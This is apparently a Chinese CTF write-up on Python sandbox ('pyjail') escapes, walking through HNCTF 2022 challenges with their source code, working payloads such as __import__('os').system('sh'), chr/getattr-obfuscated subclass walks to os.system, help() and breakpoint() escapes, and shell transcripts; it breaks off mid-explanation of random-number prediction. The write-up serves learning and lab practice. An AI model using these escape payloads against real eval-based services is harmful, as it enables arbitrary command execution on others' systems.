参考文章:python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)

技术分享 | 谈一谈CTF中的python沙箱逃逸-腾讯云开发者社区-腾讯云 (tencent.com)

一文看懂Python沙箱逃逸-腾讯云开发者社区-腾讯云 (tencent.com)

Pyjail

Python沙箱逃逸是CTF题目中比较常见的类型,是指在受限环境中(通常称为“沙箱”)执行Python代码时,通过某种手段绕过安全限制,访问或修改不应被访问的资源或执行不应被执行的操作的过程,说白了最终目标就是执行系统任意命令,次一点的写文件,再次一点的读文件。

特性

先研究一下python的一些特性:

python的类均继承自object基类。

python的类中有一些静态方法,如bytes.fromhexint.frombytes等,对于这些类的实例可以直接调用这些方法:

1
b'1'.fromhex('1234') # b'\x124'

一个特例是整数参数不支持这种操作,如1.frombytes(b'\x124')会报错。

python的类中具有一系列的魔术方法,其机制类似于php的魔术方法。例如对象a使用a+b时,其实是尝试调用了a.__add__(b)

在python类中包含着一些魔术属性:

__dict__可以查看内部所有属性名字和属性值组成的字典:

1
2
3
4
5
6
7
8
class A:
a = 50
b = 60
c = 70

print(A.__dict__)

# {'__module__': '__main__', 'a': 50, 'b': 60, 'c': 70, '__dict__': <attribute '__dict__' of 'A' objects>, '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}

__doc__可以查看类中的帮助文档:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class A:
'''
A class for testing purposes
'''
a = 50
b = 60
c = 70

print(A.__doc__)

'''

A class for testing purposes

'''

__class__能返回当前对象所属的类,例如''.__class__会返回它的类<class 'str'>,对于''.__class__(123)就等价于str(123)

__base__能返回当前类的基类,例如str.__base__就是<class 'object'>

在破解pyjail时还有一些重要的函数和变量可以利用:

dir:查看对象的所有属性和方法。在我们没有思路的时候,可以通过该函数查看所有可以利用的方法;此外,在题目禁用引号以及小数点时,也可以先用拿到类所有可用方法,再索引到方法名,并且通过getattr来拿到目标方法。

chrord:字符与ASCII码的转换函数,能帮我们绕过一些WAF( Web Application Firewall,Web应用防火墙)。

globals:返回所有全局变量的函数;

locals:返回所有局部变量的函数;

__import__:载入模块的函数。例如import os等价于os = __import__('os')

__name__:该变量指示当前运行环境位于哪个模块中。如我们python一般写的if __name__ == '__main__':,就是来判断是否是直接运行该脚本。如果是从另外的地方import的该脚本的话,那__name__就不为__main__,就不会执行之后的代码。

__builtins__:包含当前运行环境中默认的所有函数与类。如上面所介绍的所有默认函数,如strchrorddictdir等。在pyjail的沙箱中,往往__builtins__被置为None,因此我们不能利用上述的函数。所以一种思路就是我们可以先通过类的基类和子类拿到__builtins__,再__import__('os').system('sh')进行RCE(远程代码执行Remote Code Execution);

__file__:该变量指示当前运行代码所在路径。如open(__file__).read()就是读取当前运行的python文件代码。需要注意的是,该变量仅在运行代码文件时会产生,在运行交互式终端时不会有此变量

_:该变量返回上一次运行的python语句结果。需要注意的是,该变量仅在运行交互式终端时会产生,在运行代码文件时不会有此变量

技巧总结

优先使用RCE,常用的是os.system('sh')可以进入交互式终端,环境没用到os库就直接__import__('os').system('sh'),也可以使用SSTI(Server-Side Template Injection,服务端模板注入)这种无交互式终端问题中常用的os.popen('ls').read()

RCE中常用的两种方法:

一种是在object.__subclasses__()找到os模块的类(一般是<class 'os._wrap_close'>),另一种是先拿到__builtins__,两种都找到os模块之后再__import__('os').system('sh')

需要利用好python的函数,主要是chrgetattrdir来绕过WAF,以及常用参数类型的转换。

HNCTF2022 pyjail

这个比赛提供了大量的pyjail题目,来复现一遍。

calc_jail_beginner

It’s an great way to learn an python jail from these challenge!

Let’s play it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Your goal is to read ./flag.txt
#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`

WELCOME = '''
_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
print('Answer: {}'.format(eval(input_data)))

注意到这里用到了一个eval(input_data),这个函数会将我们的输入转换并且执行python代码(类似的有exec())。

这NSSCTF部署的题目复现根据提示去打payload并没有找到题目所说的flag,直接ls查看一下文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

_ ______ _ _ _ _
| | | ____| (_) | | (_) |
| |__ | |__ __ _ _ _ __ _ __ ___ _ __ | | __ _ _| |
| '_ \| __| / _` | | '_ \| '_ \ / _ \ '__| _ | |/ _` | | |
| |_) | |___| (_| | | | | | | | | __/ | | |__| | (_| | | |
|_.__/|______\__, |_|_| |_|_| |_|\___|_| \____/ \__,_|_|_|
__/ |
|___/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> __import__('os').system('ls')
flag server.py
Answer: 0

发现flag文件就叫flag,那么可以构造以下payload:

1
2
__import__('os').system('cat flag')
print(open('flag').read())
1
2
3
4
> print(open('flag').read())
flag=NSSCTF{0ff598a9-c835-4c4c-b113-35b0b476d239}

Answer: None

calc_jail_beginner_level1

you finish beginner challenge.Let’s play an challenge of easy calc

It seems have some filter than beginner challenge. can u escape it?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#the function of filter will banned some string ',",i,b
#it seems banned some payload
#Can u escape it?Good luck!

def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

WELCOME = '''
_ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | /_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| || |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ || |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ || |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_||_|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if filter(input_data):
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

还是类似的题目,但是多了一个过滤:

1
2
3
def filter(s):
not_allowed = set('"\'`ib')
return any(c in not_allowed for c in s)

不能包含双引号单引号反引号、还有字母i和b。所以importbytes就不能用了。

在RCE中,首先使用Show subclasses with tuple起手:

1
().__class__.__base__.__subclasses__()

这种操作可以得到tuple所属类的直接基类的所有子类,事实上,根据我们之前得到的特性,这里我们求得的().__class__.__base__其实就是<class 'object'>,所以求得是object类的所有子类。

但是我们不能出现字母b,可以使用getattr函数替代__base__

使用方法大致可以抽象为getattr(A,'B')等价于A.B,同样的:getattr(A,'B')()等价于A.B()

1
getattr(().__class__, '__base__').__subclasses__()

转成字符串之后,由于不让出现引号,可以进一步转换成用chr加和表示字符串的形式:

1
getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

同样的方法可以改后面的__subclasses__(),得到payload:

1
getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
1
2
3
4
5
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()
Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

在得到的这么多子类中找到了 <class 'os._wrap_close'>,下一步就是利用这个子类:

1
().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

.__init__ 获取所选子类的构造函数 __init__ 方法。

.__globals__ 获取 __init__ 方法的全局命名空间,这通常包含了可用的所有全局变量和函数

同样用getattr绕过__init____globals__,以及改写字符串操作:

1
getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
1
2
3
4
5
6
7
Enter your expression and I will evaluate it for you.
> getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4],chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)),chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{00711634-832d-437e-be7a-d98793070bdc}

得到flag。

实际上,如果我们已知题目文件叫flag,可以用chropen操作直接读:

1
print(open(chr(102)+chr(108)+chr(97)+chr(103)).read())

calc_jail_beginner_level2

you finish beginner challenge level1.Let’s play an challenge of level2

Now that the length is limited, can u escape this jail?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#the length is be limited less than 13
#it seems banned some payload
#Can u escape it?Good luck!

WELCOME = '''
_ _ _ _ _ _ _ ___
| | (_) (_) (_) | | | | |__ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | ) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ | / /
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |/ /_
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____|
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

题目限制了我们的输入长度,这里用到一种叫做参数逃逸的手法:

1
eval(input())

使用这个操作可以直接重新调用一次input(),本题的长度检测机制检测的是输入的input_data,跟我们再调用进行eval执行的语句长度无关,所以接下来就可以直接读flag了。

1
2
3
4
5
6
7
8
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> eval(input())
print(open('flag').read())
flag=NSSCTF{25e8054e-3ee4-4b08-8096-37ad660e5165}

Answer: None

calc_jail_beginner_level3

you finish beginner challenge level2.Let’s play an challenge of level3

Now that the length is limited than level2, can u escape this jail?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3
WELCOME = '''
_ _ _ _ _ _ _ ____
| | (_) (_) (_) | | | | |___ \
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | __) |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ ||__ <
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)
#the length is be limited less than 7
#it seems banned some payload
#Can u escape it?Good luck!
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
if len(input_data)>7:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

题目限定了长度只有7,之前的方法也不能用了。这题思路是利用help()进入help界面,在某个模块里直接输入!前缀后接命令即可直接执行系统命令

这个方法在很多题目里实际上会被ban掉。

比如输入os查询界面,接下来输入! cat flag即可直接得到flag:

1
2
3
4
5
 |  Methods defined here:
|
--More--! cat flag
! cat flag
flag=NSSCTF{f3ca28df-a0c2-4156-a789-73bb7dfb5365}

calc_jail_beginner_level2.5

level2 seems have some unintend soluntion

level2.5 is out.Let’s Avenger

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#the length is be limited less than 13
#it seems banned some payload
#banned some unintend sol
#Can u escape it?Good luck!

def filter(s):
BLACKLIST = ["exec","input","eval"]
for i in BLACKLIST:
if i in s:
print(f'{i!r} has been banned for security reasons')
exit(0)

WELCOME = '''
_ _ _ _ _ _ _ ___ _____
| | (_) (_) (_) | | | |__ \ | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | ) | | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ | / / |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |/ /_ _ ___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____(_)____/
__/ | _/ |
|___/ |__/
'''

print(WELCOME)

print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
input_data = input("> ")
filter(input_data)
if len(input_data)>13:
print("Oh hacker!")
exit(0)
print('Answer: {}'.format(eval(input_data)))

发现在level2的基础上进一步进行了约束,之前的方法不能用了。尝试使用level3的help,简单操作了一下发现得不到flag。

题目用到了另一个breakpoint()这个函数。这个函数可以进入Pdb,是一个python的debug调试器,可以在上下文中直接运行python代码。

进入pdb之后直接一句话RCE即可:

1
2
3
4
5
6
7
8
9
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) open('flag').read()
'flag=NSSCTF{e6b11ec7-86fc-4169-96ca-baa9f18ed202}\n'
(Pdb)

python2 input

Let’s have a rest,Did u like the challenge of python2 but it only have an input function.

Can u read the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# It's escape this repeat!

WELCOME = '''
_ _ ___ ___ _____ _ _ _
| | | | / _ \ |__ \ |_ _| | | | | |
_ __ _ _| |_| |__ | | | |_ __ ) | | | _ __ _ __ | | | | |_
| '_ \| | | | __| '_ \| | | | '_ \ / / | | | '_ \| '_ \| | | | __|
| |_) | |_| | |_| | | | |_| | | | |/ /_ _| |_| | | | |_) | |__| | |_
| .__/ \__, |\__|_| |_|\___/|_| |_|____| |_____|_| |_| .__/ \____/ \__|
| | __/ | | |
|_| |___/ |_|
'''

print WELCOME

print "Welcome to the python jail"
print "But this program will repeat your messages"
input_data = input("> ")
print input_data

没怎么研究过python2……

通过print WELCOME这种写法判定为这是python2的程序。了解一下python2的特性:

在python 2中,input函数从标准输入接收输入,并且自动eval求值,返回求出来的值;

在python 2中,raw_input函数从标准输入接收输入,返回输入字符串;

在python 3中,input函数从标准输入接收输入,返回输入字符串。

也就是说,以下几个代码是等价的:

1
2
3
input() #python2
eval(raw_input()) #python2
eval(input()) #python3

题目直接使用了python2的input,所以直接一句话RCE得到flag:

1
__import__('os').system('sh')
1
2
3
4
5
6
7
8
9
Welcome to the python jail
But this program will repeat your messages
> __import__('os').system('sh')
sh: 0: can't access tty; job control turned off
$ ls
flag server.py
$ cat flag
flag=NSSCTF{8b9343ae-b657-4308-8610-a61bc6b829c9}
$

lake lake lake

Cool job of u finished level3

Now it’s time for level4,Try to leak the key!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>9):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | | | | | | | | | | |
| | __ _| | _____ | | __ _| | _____ | | __ _| | _____
| |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
| | (_| | < __/ | | (_| | < __/ | | (_| | < __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

题目中提到了一个fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

想到查找全局变量找到这个真正的key,使用globals()得到全局变量中的key,然后用backdoor函数一句话RCE即可。

1
2
3
4
5
6
7
8
9
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 1
>globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fc3fb2a4a90>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/ctf/./server.py', '__cached__': None, 'key_9b1d015375213e21': 'a34af94e88aed5c34fb5ccfe08cd14ab', 'func': <function func at 0x7fc3fb43fd90>, 'backdoor': <function backdoor at 0x7fc3fb305fc0>, 'WELCOME': '\n _ _ _ _ _ _ \n | | | | | | | | | | | | \n | | __ _| | _____ | | __ _| | _____ | | __ _| | _____ \n | |/ _` | |/ / _ \\ | |/ _` | |/ / _ \\ | |/ _` | |/ / _ | | (_| | < __/ | | (_| | < __/ | | (_| | < __/\n |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___| |_|\\__,_|_|\\_\\___|

\n', 'input_data': '1'}
1
2
3
4
5
6
7
8
9
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>a34af94e88aed5c34fb5ccfe08cd14ab
>open('flag').read()
flag=NSSCTF{04c4c4a2-79bf-4cb5-9d1a-20583a32845e}

l@ke l@ke l@ke

seems u finished lake lake lake

Let’s have a try on l@ke l@ke l@ke

G00d luck!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
code = input(">")
if(len(code)>6):
return print("you're hacker!")
try:
print(eval(code))
except:
pass

def backdoor():
print("Please enter the admin key")
key = input(">")
if(key == fake_key_var_in_the_local_but_real_in_the_remote):
code = input(">")
try:
print(eval(code))
except:
pass
else:
print("Nooo!!!!")

WELCOME = '''
_ _ _ _ _ _
| | ____ | | | | ____ | | | | ____ | |
| | / __ \| | _____ | | / __ \| | _____ | | / __ \| | _____
| |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \ | |/ / _` | |/ / _ \
| | | (_| | < __/ | | | (_| | < __/ | | | (_| | < __/
|_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___| |_|\ \__,_|_|\_\___|
\____/ \____/ \____/
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
func()
exit(0)
elif(input_data == "2"):
backdoor()
exit(0)
else:
print("not found the choice")
exit(0)

看到len(code)>6估计又是从help()里去拿,发现直接用! sh进入不到shell里,又注意到help里有这么一段话:

Enter the name of any module, keyword, or topic to get help on writing Python programs and using Python modules. To quit this help utility and return to the interpreter, just type “quit”.

To get a list of available modules, keywords, symbols, or topics, type
“modules”, “keywords”, “symbols”, or “topics”. Each module also comes
with a one-line summary of what it does; to list the modules whose name
or summary contain a given string such as “spam”, type “modules spam”.

在python的help中,如果我们输入__main__可以得到当前模块的帮助,能得到当前模块的信息,包括全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
NAME
__main__

DESCRIPTION
#it seems have a backdoor as `lake lake lake`
#but it seems be limited!
#can u find the key of it and use the backdoor

FUNCTIONS
backdoor()

func()

DATA
WELCOME = '\n _ _ _ _ _ ... ...
__annotations__ = {}
input_data = '1'
key_9d38ee7f31d6126d = '95c720690c2c83f0982ffba63ff87338'

FILE
/home/ctf/server.py

发现得到了key,拿到flag:

1
2
3
4
5
6
7
8
9
10
11
Now the program has two functions
can you use dockerdoor
1.func
2.backdoor
> 2
Please enter the admin key
>95c720690c2c83f0982ffba63ff87338
>__import__('os').system('cat flag')
flag=NSSCTF{6a895fc7-2871-4496-a0d7-f0a5e6873f6c}
0
problem in server - SystemExit: 0

calc_jail_beginner_level5

level5 is so easy challenge

Let’s have nice idea to leak my flag

这题没有给附件,先连一下环境:

1
2
It's so easy challenge!
Seems flag into the dir()

尝试使用一句话RCE,发现过了,直接拿flag。ls发现这题有好几个文件:

1
__import__('os').system('sh')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#It's an challenge for jaillevel5 let's read your flag!
import load_flag

flag = load_flag.get_flag()

def main():
WELCOME = '''
_ _ _ _ _ _ _ _____
| | (_) (_) (_) | | | | ____|
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | _____ _____| | |__
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | |/ _ \ \ / / _ \ |___ \
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | __/\ V / __/ |___) |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_|_|\___| \_/ \___|_|____/
__/ | _/ |
|___/ |__/

'''
print(WELCOME)
print("It's so easy challenge!")
print("Seems flag into the dir()")
repl()


def repl():
my_global_dict = dict()
my_global_dict['my_flag'] = flag
input_code = input("> ")
complie_code = compile(input_code, '<string>', 'single')
exec(complie_code, my_global_dict)

if __name__ == '__main__':
main()

laKe laKe laKe

you’re an python master which solved l@ke l@ke l@ke

So now it’s time for laKe laKe laKe

Good luck!!!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#You finsih these two challenge of leak
#So cool
#Now it's time for laKe!!!!

import random
from io import StringIO
import sys
sys.addaudithook

BLACKED_LIST = ['compile', 'eval', 'exec', 'open']

eval_func = eval
open_func = open

for m in BLACKED_LIST:
del __builtins__.__dict__[m]


def my_audit_hook(event, _):
BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
if event in BALCKED_EVENTS:
raise RuntimeError('Operation banned: {}'.format(event))

def guesser():
game_score = 0
sys.stdout.write('Can u guess the number? between 1 and 9999999999999 > ')
sys.stdout.flush()
right_guesser_question_answer = random.randint(1, 9999999999999)
sys.stdout, sys.stderr, challenge_original_stdout = StringIO(), StringIO(), sys.stdout

try:
input_data = eval_func(input(''),{},{})
except Exception:
sys.stdout = challenge_original_stdout
print("Seems not right! please guess it!")
return game_score
sys.stdout = challenge_original_stdout

if input_data == right_guesser_question_answer:
game_score += 1

return game_score

WELCOME='''
_ _ __ _ _ __ _ _ __
| | | |/ / | | | |/ / | | | |/ /
| | __ _| ' / ___ | | __ _| ' / ___ | | __ _| ' / ___
| |/ _` | < / _ \ | |/ _` | < / _ \ | |/ _` | < / _ \
| | (_| | . \ __/ | | (_| | . \ __/ | | (_| | . \ __/
|_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|

'''

def main():
print(WELCOME)
print('Welcome to my guesser game!')
game_score = guesser()
if game_score == 1:
print('you are really super guesser!!!!')
print(open_func('flag').read())
else:
print('Guess game end!!!')

if __name__ == '__main__':
sys.addaudithook(my_audit_hook)
main()

题目引入了一个sys.addaudithook机制,这个机制为了给沙箱提供安全保障,题目也ban掉了大部分常用的RCE函数,也ban了'compile', 'eval', 'exec', 'open'这几个。

题目的实质不难看出这是个猜数游戏,用random.randint进行的一个猜数游戏。这里牵扯到一个random库的随机数生成问题。接下来来回顾一下:

random库生成随机数用getrandbits(32),每次产生32位序列,每组随机数为624个,然后进行一轮旋转产生一波新的624个随机数。

